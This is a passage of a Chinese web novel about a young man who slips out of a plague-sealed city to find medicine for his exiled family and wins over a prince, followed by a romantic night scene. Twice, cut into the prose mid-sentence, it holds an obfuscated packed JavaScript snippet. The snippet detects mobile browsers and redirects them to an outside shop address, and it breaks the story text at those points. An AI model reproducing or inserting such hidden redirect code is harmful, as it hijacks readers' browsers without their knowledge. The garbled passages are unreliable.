没注意到小钰始终站在原地,摸了摸自己的脸,望着他远去的背影。 “那么你到底喜欢的是男人还是女人呢,洛白。” - 崔母自从流放之后,身体一直不大好,今日面色更是苍白。 她用手挡着口鼻,一边咳嗽一边对崔洛白道:“洛白,你在十三皇子那儿说得上话,找机会你与贵人求求情,看看能不能给点药来,族中不少人都病倒了,你父亲更是……” “父亲怎么了?”崔洛白惊道。 他早晨起来的时候,还和崔家人一起用过早膳,那会儿大家气色确实都不大好,但考虑到崔家被流放了这么久,如今进入阳城,天寒地冻的,有点儿小感冒也是正常的,崔洛白便也没太多想。 怎么也没想到不过一上午的时间,崔母的状态看起来差了不少,听她这语气,向来身子骨还行的崔父,竟然更严重了? “晌午时分,他说头晕想睡一会儿,就回房休息了,一直到现在都没醒,我怎么叫他都起不来。不止你父亲,崔家不少人都这样,我担心……咳咳咳……”崔母说着说着便咳起来,越咳越激烈,最后甚至都快呼吸不上来了。 崔洛白赶紧扶着她给她顺气,崔母断断续续咳嗽了将近两刻钟才缓下来。 虽然呼吸慢慢平稳了,但脸色却像纸一样苍白,连说话的力气都没有了。 崔洛白赶忙将她扶回房,两人一路往里走,四周咳嗽声鼻塞声接连不断。 如果说之前崔家人只有一半的人在生病感冒,现在发病的人怕是八九成以上了,甚至不止崔家人,连十三皇子身边的人也不少出现了症状。 仿佛只是一天的时间,这感冒就传染了全客栈,免疫力稍微差一点的人一下子就中招了,连反应的机会都没有。 将崔母扶回去后,崔洛白又去看了眼崔父。 崔父向来身子骨不错,崔家流放这么久,只有他没有生过病。 然而越是这样平日身体健朗的人,一旦患上病,就格外的凶险。 古代没有体温计,崔洛白用手测了下,只感觉一片滚烫,怕是接近四十度了。 他心中一沉,不敢耽搁,连忙回房洗漱整理一下仪容,然后去求见十三皇子。 大家虽然住同一客栈,但崔家人是流放罪臣,十三皇子乃是天潢贵胄,住的地方自然是有区别的。 崔家人住在一楼的普通客房,十三皇子住在顶层的天字房,崔洛白想要见到十三皇子,得通过层层关卡才行。 果然,他才刚上了一层楼,就被人拦住了。 护卫穿着护甲,手持刀剑堵在楼道处,表示没有十三皇子同意,是绝对不可能让崔洛白上去的。 崔洛白刚想刷脸求求情,楼上突然传来了茶杯被接二连三摔碎的声音。 客栈地面是木制的,隔音效果不大好,茶具摔碎的声音即使隔着好几层楼都听得一清二楚。 在这个客栈内,能够这样摔茶杯的人,也只有十三皇子了。 护卫见崔洛白看着楼上不肯走,小声道:“崔先生,不是我等为难你,今日发生了一些事,贵人此时心情不好,你这会儿去见,不论你说什么话,贵人都听不进去,见了也没用。” 因着韦德寿那事,崔洛白声名大噪,十三皇子随身带着的人中,不乏喜好诗书的,对崔洛白向来很尊敬,否则换个人,绝无可能这般好声好气地劝告的。 崔洛白明白对方的好意,恳求道:“父亲高烧不退,情况极为凶险,我只想恳请十三皇子准许请个郎中过来看一看,开个药救救命。” 其中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864955|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个护卫闻言,看了另一个护卫一眼,另一个护卫轻轻摇了摇头。 崔洛白见有一丝希望,连忙又道:“或者实在不行,几位大人可否允许外出抓点儿药回来给父亲服下。阳城就这么大,崔家人都在客栈内,我若有逃跑的心,当初韦德寿带我参加诗会我就可以趁乱离开,没有必要等到现在家人生命垂危的时候逃离。” 两个护卫又对视一眼,最终其中一个护卫叹了口气,对崔洛白道:“崔先生,实不相瞒,即使我们现在放你出去,你在阳城也请不到郎中,抓不到药的。” 见崔洛白一脸不解,想到崔家人一天天的被关在客栈中,怕是不知道外头的情形,护卫心一软,对崔洛白道:“阳城已封,别说你了,就是我们都走不了。城内局势复杂,病倒的人何止千千万,如今若是有能治病救人的药,定然是紧着贵人的,我们即便放你出去,你也逃不出阳城,更找不到合适的药。” 另一个护卫见话都敞开说了,索性也劝崔洛白道:“外头天寒地冻,客栈内好歹暖和些,崔先生与其想着出去奔波,不如在客栈内好好休息保重身体,千万别把自己折腾病了,得不偿失。” 崔洛白怎么也没想到,不过几天的时间,阳城情况竟然变得如此严峻了。 他自然听出护卫的言外之意。 不止是崔家人染病,整个阳城的千万人,怕是都染上了病,现如今,病情已经严重到了要封城的程度。 别说请郎中了,怕是连药材都见不到一根。 连十三皇子都被困在了阳城,区区崔家人,谁又还顾得上呢。 这种时候,能靠自身抵抗力活下去不被传染,才是最要紧的,能自保就自保吧。 “多谢二位提醒。”崔洛白鞠了一躬,转身回到一楼。 仔细向来,阳城如今这情况,早有预兆。 作为北寒最热闹的城市,偌大的阳城,在他们来的时候,竟然还不如江城一半热闹。 繁华的城中突然没什么行人,商铺客栈全都关着,这熟悉的画面,崔洛白其实前世也是经历过的…… 他心下懊恼,恨自己怎么没早点意识到问题,如果当时就察觉不对劲,前去劝阻十三皇子,或许一切都变得不一样了。 算了,他是什么身份,十三皇子是什么身份。 十三皇子此次前往北寒,明显有要事在身,哪是他能劝得动的。 崔家是流放罪臣,根本就没有选择的余地,与其后悔,还不如直面现实,想想现在应该怎么办。 崔洛白强行让自己冷静下来,梳理了一下思路。 他和崔家人一直被关在客栈内,对于外界的消息非常闭塞,根本不知道现在外头情况如何,也不知道十三皇子接下来打算怎么做。 眼盲心盲是大忌,他想要为崔家谋得一条出路,首先需要了解阳城的情况,情报越精准明晰越好。 其次,听护卫的意思,十三皇子如今自顾不暇,是不可能管的上崔家的,所以崔家人的药,找十三皇子没用,得崔洛白自己想办法。 明确了这两点后,崔洛白先找到小钰,叮嘱她照顾好崔家人,然后自己回房换好了外出的衣服,鬼鬼祟祟地朝客栈后门挪去。 十三皇子对崔家人本就看管不严,如今这情况,更是懒得费精力盯紧崔家人,崔洛白找了个角落躲起来片刻,确认不会有人发现自己失踪后,趁着护卫换岗的空隙,快速翻墙逃了出去。 这是崔洛白来到这个世界后,第二次和崔家人分开行事。 上一次是在江城,韦德寿单独带着他参加诗会,而这一次,连带路的人都没有了,只有崔洛白孤零零的一个人单独行动。 17.第 17 章 第十七章:喜被 大路上没什么人,崔洛白便沿着小路往拥挤的居民区走去。 一开始四周还是冷冷清清的,看着像是一座空城。 不过崔洛白知道,只要一个城市繁荣过,就算临时封锁了,人们私底下小动作也不会少的。 果然,伴随着他一点点的深入,四周的人声逐渐多了起来,时不时就能偶遇一些路人。 大家都包裹得严严实实的,只露出一个眼睛出来,路上遇到,互相对视一眼,双方都十分警惕。 崔洛白心中明白,这种时候还跑出来的人,一定和他一样,心中是有所求的。 因此他也不着急找人搭话,而是选择了个小角落站定,一会儿搓搓手一会儿跺跺脚,又时不时朝四周张望几下,装出一副很急切,但又不大敢主动的样子。 不一会儿,崔洛白就感觉有几个人来回在他四周走动,尤其是一个穿着藏蓝色粗布麻衣的中年男人,装作不经意地在他面前来回走了三次,每次视线都精准地落在他身上两秒,然后又快速移开。 崔洛白只当做什么都不知道,果然不到两盏茶的功夫,那个中年男人最终按捺不住,主动朝崔洛白的方向走来,隔着约莫一米左右的距离开口问道:“换啥不?” 这种时候,找人买药材什么的,肯定不容易,崔洛白这次出来的主要目的是打探消息,他小声道:“有被子吗。” 对方一听到他声音,眼睛微微眯了一下,又一次上下将崔洛白仔细打量了一遍。 崔洛白这次外出,穿的是之前韦德寿给他的那套奴仆的衣服。 这身衣服,放在诗会那种场合,不论是做工款式形制布料等等,都是低人一等的,但放到老百姓中,却又是高档次的好衣服。 对于普通穷苦百姓来说,别说冬被了,就是一套冬衣,都是奢侈品。 有的穷苦人家,家中甚至只有一套冬衣,谁出门办事就穿上那套衣服,剩下的人在家只能穿秋衣夏衣,抱在一起御寒取暖。 这样的冬衣穿了数年后,就算维护得再仔细也难免会有破损,到处都打满了补丁也舍不得扔。 再看崔洛白这一身,崭新的衣服,一点破漏都没有,而且他说话时也没什么本地口音,一口标准的梁国官话。 崔洛白知道自己一身的破绽,对此他早就做好了心理准备,站在那任由对方打量。 “要被子做啥?”对方探究地看了崔洛白一会儿,又问道。 “太冷了,没炭火,买床暖和的被子给小孩用。”崔洛白道。 那人目光闪烁了两下:“二十两银子,要不要。” 崔洛白从江城走的时候,从客栈带走了一床被子,就是最后留在阿遥那边糊窗户的那套,当时是十三皇子给了他银子,让他向客栈老板买的。 崔洛白的诗句是从江城传唱出去的,又是跟着十三皇子离开的,客栈老板十分客气,给了崔洛白一个成本价,1500文。 换算成银子,相当于一两银子一床被子。 现在这个中年男人,给他开价二十两银子,直接暴涨二十倍,摆明了欺负崔洛白人生地不熟。 崔洛白立即沉下脸道:“太贵了,不要。” 说完,直接越过中年男人,打算换个角落待着,等下一个人来问他。 中年男人见崔洛白这样,反倒是安心了,连忙拦住崔洛白道:“唉,别走啊,价格好商量,我那被子,可不是普通的麻被,十两银子,保证你满意。” 崔洛白本就是出来刺探情报的,时间有限,见对方已经上钩,他也不再拉扯,装作不情不愿的样子勉强答应,然后跟着中年男人往更深的小巷走去。 越往里走,路越曲折,要不是前头有人带路,崔洛白非迷路不可,不过四周显然越来越热闹了,崔洛白偶尔甚至能听到小孩的哭声。 中年男人最终在一间狭窄破旧的小房子门前站定,掏出钥匙打开锁,让崔洛白在门口等着他,他一闪身就钻了进去。 古代居民建筑大多以安全为目的,高墙,小窗,需要人躬身而入的窄门。 房子里没点灯,黑乎乎的一片,中年男人进去后,崔洛白就看不到他了。 好在没一会儿,中年男人便抱着一床红色的被子出来。 他特意走到光亮处,拍了拍被子对崔洛白道:“棉被,十两银子,够划算了吧!” “这是……喜被?”崔洛白狐疑地看着中年男人,“不会是你偷来的吧。” “瞎说什么呢。”中年男人气道,“这是我妹子的嫁妆!” “那你妹子呢?”崔洛白立即问道。 这样一床暖和精致的大红棉被,对一名古代平民女性而言,是极为珍贵的陪嫁品,看成色,喜被很新,很可能压根就没使用过,怎么会在这种时候拿出来卖? 中年男人一时回答不上来,崔洛白立刻追问道:“你妹子不会出事了吧,这难道是死人盖过的?” “你别胡说八道啊,我妹子好好的呢。”中年男人立即反驳道。 “那你让她出来,她亲自卖给我我才交钱。”崔洛白说着,拎着钱袋子后退一步,警惕地看着中年男人。 他们两在门口争执的动静太大,已经引来四周人的注意,中年男人感受到四周窥探的目光,低声暗骂一句,当即扔下被子朝崔洛白扑来,想要直接抢夺他的钱袋子。 崔洛白早有防备,第一时间就朝外跑去,一边跑一边还时不时捡起身边的杂物往后头扔去,不仅能阻碍中年男人,还能制造出更大的动静令他忌惮。 果然,中年男人被砸了几下后,就骂骂咧咧地停下脚步不追了。 崔洛白又往外跑了十来米远,直到确认自己安全后,才找了个角落停下来休息片刻。 感谢阿遥这段时日以来的投喂,令他身体好了不少,否则今日还真不一定敢独身出来刺探情报。 某种程度来说,此时此刻阳城内的社会秩序已经被打乱,涉及到人性的考验,崔洛白早就做好了最坏的打算,幸好他有所准备,截止到目前为止,一切都很顺利。 崔洛白休息了片刻,感觉稍稍恢复一些了,便悄无声息地往回走去。 小巷子内狭窄脏乱,什么杂物都有,崔洛白借助这些杂物遮掩身形,躲在暗中观察刚刚那名藏蓝麻衣的中年男人。 中年男人显然没料到崔洛白会回头,他没追上崔洛白,悻悻地往回走去,捡起地上的喜被拍打了几下,还拿了些枯 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“她只是受了风寒,不是染了病,只要再养几天就好了,马上就能好了……”妇人一边哄着孩子一边哭道。 “你说不是就不是,万一就是呢!家里只要有一个染了病的,一旦被发现,全家都会被关到城外沟子村里,你现在不把娃送走,你就是要害了我们全家!”男人怒骂道。 “我听张婶说,那沟子村不是人待的,没有吃的,没有喝的,一群人齐齐躺屋里,活的死的都睡一起,有些死了好几天的烂成了水,也放在那没人管,娃还这么小,要去了那,怎么活得下来……”农妇抱着孩子哭道。 “她活不下来,难道我们去了就能活了?” “巡查一会儿就来了,要是被发现了,我们全都得被抓走!你一个人想陪娃一起去沟子村,别拖累了我们!” 老人和男人越说越急,原打算将农妇手里的孩子抢过来,见农妇死命护着,孩子的哭闹声也越来越大,男人索性心一狠,直接连带着农妇都一起拖拽了起来,要将他们母女两赶出门。 崔洛白看不下去了,拿起手边的一块砖就朝窗户里砸去。 从天而降一块砖落到地上,发出的动静令屋子里几个人都吓了一跳。 男人和老人做贼心虚,立刻放开农妇跑出来查看情况,而这个时候的崔洛白,早已经悄无声息地离开了。 巷子里的小路曲曲折折,崔洛白一时之间找不到出去的路,索性就到处走走看看,搜集各种信息,一直到天快黑了,他才走出小巷子,然后根据记忆找寻客栈的方向。 夕阳西下,夜幕降临,崔洛白拖着疲惫的身躯翻过墙,才刚落地,一道声音从旁边传来。 “崔先生好身手,文能作诗名动大梁,武能翻墙做梁上君子,我这满屋的护卫到了崔先生这儿,倒是成了摆设了。” 火光亮起,映照出四周的景象。 院内站了数十名侍卫,全都手握刀剑紧盯着崔洛白。 护卫保护的最中心,十三皇子坐在一把梨花木内藏勾云纹的四出头官帽椅上,摇晃着折扇,看着崔洛白冷笑道。 18.第 18 章 第十八章:药材 火光忽明忽灭,映照着四周人的身影,大有下一瞬就要将崔洛白包围就此处决的紧迫感。 崔洛白看着摇着折扇的十三皇子,他整理了一下因为翻墙有些凌乱的衣摆,抬手行礼道:“参见十三皇子。” 他顿了下,缓缓斟酌用词道:“阳城情况有异,十三皇子身边的人一个接一个病倒,草民知十三皇子忧心阳城百姓安危,愿为贵人分忧。” “为本皇子分忧?”十三皇子嗤笑道,“说吧,你能做什么,是赋诗一首啊,还是作词一曲呢?” “阳城作为北寒最繁华的城市之一,现今不如江城一半热闹,十三皇子莅临阳城,阳城郡守不仅没有出城迎接,甚至称病躲了好几日。阳城内情况诡奇,十三皇子身为大梁的皇子,身负使命不愿就此离开,派人调查阳城的异状,却不想情况比想象中要糟糕得多,等真相大白时,阳城早已封锁。全城百姓受困于此,若是再不管不顾,任其自生自灭,阳城千年繁华古都,怕是将毁于一旦。” 崔洛白道:“草民深入百姓聚集地,了解到情况,原来早在半个月前,阳城便将城外的沟子村定位病民营,所有染病的居民全都被遣送出城,自此阳城内物价飙升,百姓惶惶不安度日,经过了大半个月的清理,如今城中人早已不到昔日的一半。” 崔洛白说着,从怀里掏出了一小包布袋,当着众人的面,将布袋打开,里头存放着的,赫然是各种药材。 “这些是草民从黑市内高价收购的药材,愿献给十三皇子,以尽绵薄之力。”崔洛白道。 十三皇子瞥了一眼那布袋。 稀稀拉拉的几根草,从人参干姜肉桂到石膏甘草都有,每样都只有一点点,才集成了这么一小袋。 崔洛白手中有多少钱,他一清二楚。 以阳城如今的药材物价,这看似不起眼的几根草,怕是已经掏空了崔洛白的钱袋子。 十三皇子摇了摇折扇,眼眸微眯打量崔洛白道:“你早就料到本皇子会在客栈内等你?” 除了翻墙进来被突然亮起的火光吓了一跳之外,接下来崔洛白表现得不卑不亢,沉稳平静游刃有余,根本不像是临时应对的样子。 再听他说的话,基本上全都猜对了。 要知道,崔家人被他关在客栈内足不出户,根本没有与外界沟通的机会,他听护卫说,崔洛白午后来找过他,那个时候崔洛白对外界情况还一无所知。 不过刚过去一下午的时间,他竟然将阳城的情况摸得如此透彻,饶是十三皇子也被崔洛白的效率惊到了。 阳城的病民营建立之后,居民们躲在家中不见人,想找人问话都找不到,他手下的人也是探查了好几天,才将这些情报汇报给他的。 崔洛白才一个人,一个下午的时间,不仅将一切都探查清楚了,甚至还能买药回来…… 毫不夸张地说,就崔洛白这办事效率,一人顶上百人也不为过。 原以为他能在诗词上有极高天赋,已是难得的人才,怎么也没想到,在其他地方也有如此才能。 这一刻,十三皇子心中不禁发出了和韦德寿相同的感慨。 崔康远倒是好运,为官这么多年除了烧得一手好菜之外,在官场毫无建树,眼看着要流放遭罪了,竟然冒出了个这么有能力的好儿子。 十三皇子心中思绪纷乱,面上倒是不显,摇着折扇盯着崔洛白,等候他的答复。 “十三皇子在江城出手相助,一路庇护崔家到阳城,崔家上下感激不尽,不论十三皇子是否发现草民外出,草民归来后,是一定要将所见所闻一一汇报,报答贵人的庇护之恩。”崔洛白道。 这话说的花团锦簇,倒也真心实意。 他们这个队伍,十三皇子是领头人,崔洛白想要保住崔家人的性命,不论做什么,都绕不开十三皇子的。 他今天做了这么多事,目的只有一个,吸引十三皇子注意,让他觉得崔家是有用的。 只有这样,崔家人才有被救的价值。 十三皇子看似痴肥,人却不傻,他看了一眼身旁人,一旁的随从立马意会,走上前将崔洛白手中的布袋接过来,呈现到十三皇子面前。 “种类繁多,能够在这么短的时间内搜集到这些,倒是有些本事。”十三皇子问崔洛白道:“对于阳城的疫病,你怎么看?” “多以高烧,咳嗽,浑身乏力酸痛,盗汗,呕吐,腹泻这些为主,严重者呼吸困难,唇甲发紫,甚至口吐大量鲜血……”崔洛白仔细回忆道。 “不错。”十三皇子说着,看向崔洛白。 崔洛白已经展现了自己的本事,他也不介意和崔洛白多言两句:“城内医者早就尝试过救治。人参过于滋补,容易导致发热加重病情缠绵;干姜肉桂损耗人体津液,加重炎症;石膏寒凉,倒是对症,但两日前,阳城郡守正是使用石膏清泄肺热,却导致其本虚标实,最终损耗正气而亡。” 十三皇子用折扇点了点布袋里的药材,对崔洛白道:“你买的这些药中,目前仅有甘草可缓解咳症,真正核心的桔梗,浙贝母,穿心莲,麻黄等药材,在如今的阳城,根本不可能买得到。” 崔洛白早就料到了这一点,这些药本就是他拿回来吸引十三皇子注意的,此刻听十三皇子这样说,崔洛白立即行礼道:“求十三皇子开恩,匀出些核心药材救救崔家人。” “大胆!皇子的东西也敢觊觎?!”不等十三皇子开口,他身旁的人立即严厉地呵斥道,“即便崔家不是罪臣,光凭你这言论,也要治你个以下犯上大不敬之罪!” 崔洛白只当没听到,对着十三皇子继续恳求道:“客栈内的崔家人这几日一直没有与外界接触,却依然大范围被感染,疫病蔓延得极快,家父昨日身体尚可,今日就已经高烧不退醒不过来了,再这样下去,怕是整座城的人都逃不掉。” “十三皇子接受封城,正是为了大梁的黎民百姓考虑,宁愿将自己的性命置之度外,也不愿意波及全国。皇子爱民之心,草民佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16872617|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服,只是如今我们所有人都受困于阳城,如果不团结一心同舟共济,待周遭的人都死绝之时,您怕是也将……” 崔洛白此话一出,已经不是简单的以下犯上了,说是诅咒十三皇子也不为过。 十三皇子身边的人闻言气极,纷纷拔刀指向崔洛白,恨不得当场将他乱刀砍死。 倒是十三皇子抬手阻拦了身边的人,看着崔洛白道:“崔洛白啊崔洛白,你胆子倒是挺大的。” “草民只是陈述事情而已。”崔洛白平静地道,“药材是死的,人是活的,活着的人,总归比死了的要有用一些。与放任不管任由形势越来越严峻,不如先救人,然后再想办法弄来更多的药材。” “哦?更多的药材?”十三皇子盯着他道,“这些千金苇茎汤的核心药,你有办法弄来更多?” 崔洛白抬头看了十三皇子一眼。 他知道,崔家人到底能不能获救在此一举。 在十三皇子的审视下,崔洛白心一横,点头道:“有。只要您肯立即救治崔家人,三日内,草民定然拿出更多的药材献给皇子。” “殿下,切莫听他的!” “这千金苇茎汤的药材配方,还是从赵府拿到的,现如今城中药材紧缺,这些药用一点少一点,殿下千金贵体,一定要留着自用啊!” “崔家乃是流放罪臣,何等低贱,崔洛白为您谋得更多的药是他应尽的本分,怎能让您匀出药去救人呢!” “待属下将他捆了严刑拷打,不信他不敢说实话。” 几名十三皇子的亲信急得团团转,不断劝阻道。 十三皇子却是紧盯着崔洛白,他收起折扇,道:“好,崔洛白,我就信你一回。” - 深夜,子时,崔洛白换了套干净的衣服,捂着口鼻等候着穿越。 【积分:913】 一行数字出现在他眼前。 几日没细看,竟然又涨了。 一直到现在,崔洛白也没见过系统,更不知道这积分是拿来干嘛的,所以即使看到积分涨了也没什么感觉。 伴随着字体消失,熟悉的寝殿出现在他眼前。 阿遥躺在床边,等候着崔洛白的到来。 当看到自己日夜思念的人出现在身旁,他眼睛一亮,刚想贴过去,下一瞬,阿遥便发现崔洛白竟然是醒着的,而且还紧紧捂着口鼻,只露出了一双眼睛出来。 阿遥一怔,忍不住问道:“洛白,你这是在做什么?” 崔洛白一看到阿遥,条件反射往后挪了挪,一直退到床尾的位置,才停下来:“我们保持点距离。” 阿遥不明所以:“发生什么事了吗?” 崔洛白急需阿遥的帮助,当即将阳城的事快速说了一遍。 不过他并不知道十三皇子为什么要前往北寒,涉及皇家之事终归麻烦,崔家流放罪臣的身份也不便多言,因此这方面没有细说,只重点和阿遥讲述自己与家人来到阳城后,在阳城的所见所闻。 19.第 19 章 第十九章:别动 阿遥没想到崔洛白带来的竟然是这样的消息,神情凝重地道:“当真是北寒的阳城有了疫病?” 崔洛白点了点头:“阳城封锁,消息传不出去,阿遥远在千里之外,可能没听说过这方面的消息,但我身在阳城,阳城内百姓已病倒大半,是我亲眼所见。如今家人病重,城内缺乏对症的药材,你能帮我弄到这些药吗?” “洛白有需要,我定然全力以赴。”阿遥说着,看着崔洛白道,“不过,我有一个要求。” “什么要求?”崔洛白问道。 “你别躲着我。”阿遥道。 崔洛白捂着口鼻缩在床尾,听到阿遥这话连忙解释道:“我不是要躲着你,而是这疫病传染性极强,我是担心……” “洛白并未染病。”阿遥道。 “我现在是还没有症状出现,但这种病一般是有潜伏期的,如果前期不做好防范,等感染了就麻烦了。”崔洛白说着,不仅在床上和阿遥隔着老远的距离,接下来吃饭洗漱全都与阿遥错开时间段。 中途阿遥也不是没有抗议过,不过崔洛白考虑到他的健康,还是坚持隔离政策。 两人一前一后的吃完,收拾完,崔洛白等阿遥洗漱完了,自己才进去泡了个暖烘烘的热水澡。 热水浸过全身,浑身的肌肉都放松了。 多亏这段时间在阿遥这养好了身子,提高免疫力,否则目前客栈内大半人都在生病,以崔洛白之前的体质,不可能逃得过去。 他要是病倒了,那崔家人是真的危险了。 崔洛白长叹一口气,洗完后擦干身子朝卧房方向走去。 结果才刚走进卧房,就看到阿遥在床边铺了个地垫,然后又找到几件厚衣服搭起来,一床简易的地铺就这么整理出来了。 “阿遥,你在做什么?”崔洛白问道。 “洛白说要与我保持一段距离,连用餐说话时都离我远远的,那睡觉自然也……我们只有一张床,所以我想打个地铺,这样就能分开睡了。”阿遥说着,又找来几件冬天的外衣当做被子,一床简易的地上床铺就这么搭好了。 崔洛白连忙道:“是我担心传染给你,理应我睡在地上,你睡床上才是。” “你身处疫区,身边的人都病倒了,接下来不仅要照顾他们,还要负责搬运药材,甚至有任何突发的情况,都得你去处理。那么多病人,全都指望你一个了,你一定要保护好自己的身体。”阿遥认真道。 “那我们也可以一个睡床头,一个睡床尾。”崔洛白提议道,“这样不会冷,而且没有互相挨着,也没那么容易传染了。” 阿遥整理的手顿了一下,两秒后,他摇了摇头对崔洛白道:“我是练武之人,为了锻炼体魄,即便是冬日,也常常要在雪地里练剑,在树上过夜,甚至还用冰雪洗澡,如今只是在地上睡一下而已,无碍的。” 见崔洛白还是站在原地踟蹰,阿遥索性直接躺下,对崔洛白道:“我困了,我们早点休息吧。” 崔洛白见状,心想练武之人可能确实和常人不大一样,阿遥都准备睡下了,他也不好再推辞,便回到床上,拿出阿遥助眠书念了起来。 阿遥入睡很快,睡眠质量也很不错,一般崔洛白开始助眠起,不到一刻钟的时间,他的呼吸便会变得沉稳。 崔洛白入睡慢,但见阿遥睡得香甜,经常被他传染得开始犯困,睡眠质量一日比一日好。 可是今日,将近半个时辰过去了,崔洛白还是没有听到他沉稳的呼吸声。 “阿遥,你睡了吗?”崔洛白忍不住询问道。 “嗯……快了……”阿遥含糊道。 崔洛白听着他的声音,隐约感觉有些不对,将书放下,探出头一看。 只见阿遥一米八几的大高个,缩成一团睡在地上。 他身上盖着的不是被子,而是厚衣服。 这厚衣服穿在身上还行,当被子盖难免小了些。 盖得住胳膊,便盖不住脚,盖得住脚了,上头又是空着的了。 阿遥显然冷极了,脸色发白紧紧地裹着衣服,像是一只被主人轰下床的小狗,可怜巴巴的,整个人都缩成了一团。 崔洛白惊了一下,连忙起身下床要扶他上来。 “阿遥,阿遥,醒醒。”崔洛白连忙叫醒他。 “嗯?”阿遥迷迷糊糊睁开眼看向崔洛白。 “地上太凉了,得去床上睡。”崔洛白说着,赶忙将他拉起来。 阿遥还处于半睡半醒间的状态,浑身无力地倚靠着崔洛白,两人才刚往前走一步,阿遥的身体就失去平衡往前倾倒。 崔洛白伸手想要抓住他,结果不知怎么地也被绊了一下,不仅没扶住阿遥,竟也跟着他一同倒了下去。 一阵天旋地转过后,等崔洛白看清情况时,他已经倒在了床上,阿遥则叠在他的身上,结结实实地压着他的身体。 两人的身体完全重叠在一起,阿遥全身都压着他,高挺的鼻尖顶着崔洛白的脸颊,嘴唇更是贴着崔洛白的唇角。 崔洛白长这么大哪被人亲过,惊得立刻想要推开阿遥。 偏生崔洛白自己的手被压在最底下,两个男人的体重叠加,他的手根本抽不出来,只能靠身体的扭动来推开阿遥。 崔洛白动一下,他上面的阿遥就颤一下,嘴唇一会儿贴着他的嘴角,一会儿贴着他的下巴,两人胡乱动了一通,崔洛白就这么被亲了个遍。 崔洛白整个人都不好了,后知后觉反应过来还能开口说话,急道:“阿遥,你压着我了,快起来!” 两人距离太近了,崔洛白说话的时候嘴唇微动,还碰到了阿遥好几下。 感觉到唇上的触感,崔洛白死了的心都有了。 还什么捂住口鼻防疫啊,这都嘴对嘴了,比平时还要亲密百倍千倍。 早知道会这样,还不如老老实实两人躺一起睡觉算了。 崔洛白越急切,呼吸就越急促,见怎么也推不动阿遥,他索性放弃了手,屈膝将一条腿抬起来,打算借助腰部发力将阿遥顶开。 “别动。” 这时,崔洛白听到阿遥哑声道。 崔洛白还以为阿遥让自己别动他,于是改成了更小幅度的挪动自己。 阿遥呼吸变得急促了一些,伸出手贴着崔洛白的脸颊和耳后,让他转过头来和他对视:“洛白,别动了。” 崔洛白看着近在咫尺的阿遥,才发现他不知何时已经完全清醒,不仅发白的嘴唇有了血色,耳朵眼尾都是泛着绮靡的红。 那双眼静静地看着崔洛白,在两人都急促暧昧的呼吸下,阿遥的视线一点点地往下,看向崔洛白的脸颊,鼻尖,最终定格在崔洛白的嘴唇上。 崔洛白莫名感觉到一丝紧张,不自觉抿了一下唇。 阿遥瞳孔微缩,喉结上下滚动了一下,就像着了魔一样,慢慢地凑过来。 崔洛白想要躲开,奈何耳后就是阿遥的手,根本后退不了。 他还在想着应该要怎么办,阿遥的吻已经落了下来。 炽热的,柔软的,轻柔地印在他的唇角。 亲完后,阿遥看了眼崔洛白的反应,见崔洛白被他压着,呆呆地看着他,像一只受惊的小兔子一样,阿遥抿唇浅浅地笑了一下,然后又一次亲了下来。 炽热的唇贴着崔洛白冰凉的嘴唇,轻柔的辗转摩挲着,然后一点点地含住崔洛白的下唇。 崔洛白浑身一颤,只觉得这吻像是火焰一样,一下子点燃蔓延到了全身,热得他浑身都烧了起来。 他快速出了一层薄薄的汗,发丝与贴身的里衣都黏在身上,整个人像是浸入了水中,唯独口鼻露出水面,还没来得及呼吸,口腔中的所有空气就全都被阿遥夺走了。 阿遥一下一下地尝试着,越吻越深,崔洛白被他吸得整个人又热又闷,大脑一片空白,忍不住再次挣扎起来。 他一动,阿遥的动作变得粗暴不少,不容置疑地扣着崔洛白的颈部深吻着。 崔洛白下面被压着,上面被堵着,人都快窒息了,慌乱中忍不住用牙齿勾了一下。 阿遥动作一顿,手上略略一松,崔洛白赶忙趁机将脑袋往后仰,喘着气道:“我快被你压死了。” 他气势汹汹地开口,奈何浑身都被阿遥亲软了,说话的力气都没剩多少,音调软绵绵的,不知道的还以为他在撒娇。 阿遥舔了舔嘴唇上被崔洛白咬破的伤口,哑声解释道:“我腿脚被冻僵了。” 见崔洛白瞪着他,俨然不信的模样,阿遥喘着气,平复了一下-体内的燥热,随后小声委屈地道:“太冷了,衣服裹不住腿脚,我冻得都没知觉了,现在才好一点点。” 崔洛白想到他刚刚蜷缩在地上,那又冷又可怜的样子,心中的怒火消了不少。 不过嘴上还是哼哼道:“冷就应该告诉我,我们一起睡就是了。刚才我要是没发现你受冻,就这样睡上一晚,你知道有多危险吗?” “我知道洛白担心我的身体,不希望我和你的家人一样生病。”阿遥笑道。 他一笑,嘴唇上那点儿伤口就格外明显。 崔洛白有些不自在地移开目光。 这亲都亲了,连嘴唇都被他咬破了,还何谈隔离防疫。 “那你现在回暖了没有,都这么久了,手脚有知觉了吧?”崔洛白道。 阿遥盯着他的嘴唇:“快了,快了。” 崔洛白哪还不知道他什么意思。 他全身火热,阿遥比他更热,两人贴在一起,阿遥什么情况崔洛白一清二楚,再这样亲下去,分分钟擦枪走火。 崔洛白连忙调整了一下姿势,终于把手给抽出来,然后毫不客气一把将阿遥推开,自己掀开被子先躺了进去。 他才刚躺下,阿遥就贴了过来,手还揽着崔洛白腰部敏感的地方。 